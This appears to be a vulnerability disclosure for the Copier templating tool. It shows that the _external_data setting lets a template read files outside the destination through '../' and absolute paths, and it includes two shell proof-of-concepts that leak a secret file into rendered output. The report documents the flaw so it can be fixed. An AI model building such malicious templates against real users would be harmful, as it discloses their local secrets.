Summary

Copier's _external_data feature allows a template to load YAML files using template-controlled paths. The documentation describes these values as relative paths from the subproject destination, so relative paths themselves appear to be part of the intended feature model.

However, the current implementation also allows destination-external reads, including:

• parent-directory paths such as ../secret.yml
• absolute paths such as /tmp/secret.yml

and then expose the parsed contents in rendered output.

This is possible without --UNSAFE, which makes the behavior potentially dangerous when Copier is run against untrusted templates. I am not certain this is unintended behavior, but it is security-sensitive and appears important to clarify.

Details

The relevant flow is:

1. a template defines _external_data
2. Copier renders the configured path string
3. Copier calls load_answersfile_data(dst_path, rendered_path, warn_on_missing=True)
4. load_answersfile_data() opens Path(dst_path, answers_file) directly
5. parsed YAML becomes available as _external_data.<name> during rendering

Relevant code:

• copier/copier/_main.py

  Lines 329 to 332 in 7aa7021

  	name: lambda path=path: load_answersfile_data( # type: ignore[misc]
  	self.dst_path, _render(path), warn_on_missing=True
  	)
  	for name, path in self.template.external_data.items()

• copier/copier/_user_data.py

  Lines 584 to 592 in 7aa7021

  	def load_answersfile_data(
  	dst_path: StrOrPath,
  	answers_file: StrOrPath = ".copier-answers.yml",
  	*,
  	warn_on_missing: bool = False,
  	) -> AnyByStrDict:
  	"""Load answers data from a `$dst_path/$answers_file` file if it exists."""
  	try:
  	with Path(dst_path, answers_file).open("rb") as fd:

The sink is:

with Path(dst_path, answers_file).open("rb") as fd:
    return yaml.safe_load(fd)

There is no containment check to ensure the resulting path stays inside the subproject destination.

This is notable because Copier already blocks other destination-escape paths. Normal render-path traversal outside the destination is expected to raise ForbiddenPathError, and that behavior is explicitly covered by existing tests in

The public documentation describes _external_data values as relative paths "from the subproject destination" in

PoC

PoC 1: _external_data reads outside the destination with ../

mkdir src dst
echo 'token: topsecret' > secret.yml

printf '%s\n' '_external_data:' '  secret: ../secret.yml' > src/copier.yml
printf '%s\n' '{{ _external_data.secret.token }}' > src/leak.txt.jinja

copier copy --overwrite src dst
cat dst/leak.txt

Expected output:

topsecret

PoC 2: _external_data reads an absolute path

mkdir abs-src abs-dst
echo 'token: abssecret' > absolute-secret.yml

printf '%s\n' '_external_data:' "  secret: $(pwd)/absolute-secret.yml" > abs-src/copier.yml
printf '%s\n' '{{ _external_data.secret.token }}' > abs-src/leak.txt.jinja

copier copy --overwrite abs-src abs-dst
cat abs-dst/leak.txt

Expected output:

abssecret

Impact

If untrusted templates are in scope, a malicious template can read attacker-chosen YAML-parseable local files that are accessible to the user running Copier and expose their contents in rendered output.

Practical impact:

• destination-external local file read
• disclosure of YAML/JSON/plain-text-like secrets if they parse successfully under yaml.safe_load
• possible without --UNSAFE